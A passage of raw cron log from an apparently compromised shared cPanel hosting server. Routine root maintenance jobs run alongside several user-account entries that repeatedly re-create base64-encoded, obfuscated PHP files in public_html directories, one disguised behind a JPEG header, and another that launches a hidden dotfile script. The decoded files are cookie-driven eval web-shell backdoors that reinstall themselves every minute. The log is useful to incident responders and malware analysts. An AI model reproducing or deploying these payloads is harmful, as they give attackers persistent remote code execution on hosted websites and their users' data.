6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 09:30:02 medusa CROND[22020]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 09:30:02 medusa CROND[21990]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 09:30:02 medusa CROND[22029]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 09:30:02 medusa CROND[22030]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 09:30:02 medusa CROND[22033]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 09:30:02 medusa CROND[22035]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Mar  1 09:30:02 medusa CROND[22037]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Mar  1 09:30:02 medusa CROND[22031]: (dieg0fd) CMD (/usr/local/bin/php /home17/dieg0fd/public_html/wp-cron.php >/dev/null 2>&1)
Mar  1 09:30:02 medusa CROND[22032]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cagefs_exclude_users.cronlock /usr/share/cagefs/exclude_users_cleaner.py)
Mar  1 09:30:02 medusa CROND[22036]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Mar  1 09:31:01 medusa CROND[12118]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 09:31:01 medusa CROND[12152]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 09:31:01 medusa CROND[12153]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Mar  1 09:31:01 medusa CROND[12154]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 09:31:01 medusa CROND[12155]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 09:31:01 medusa CROND[12156]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 09:31:01 medusa CROND[12157]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Mar  1 09:31:01 medusa CROND[12158]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 09:31:01 medusa CROND[12160]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 09:31:01 medusa CROND[12159]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 09:31:01 medusa CROND[12171]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 09:31:01 medusa CROND[12173]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 09:31:01 medusa CROND[12179]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 09:32:01 medusa CROND[2419]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 09:32:01 medusa CROND[2421]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 09:32:01 medusa CROND[2428]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 09:32:01 medusa CROND[2429]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 09:32:01 medusa CROND[2427]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 09:32:01 medusa CROND[2430]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 09:32:01 medusa CROND[2431]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 09:32:01 medusa CROND[2432]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 09:32:01 medusa CROND[2433]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 09:32:01 medusa CROND[2439]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 09:32:01 medusa CROND[2509]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
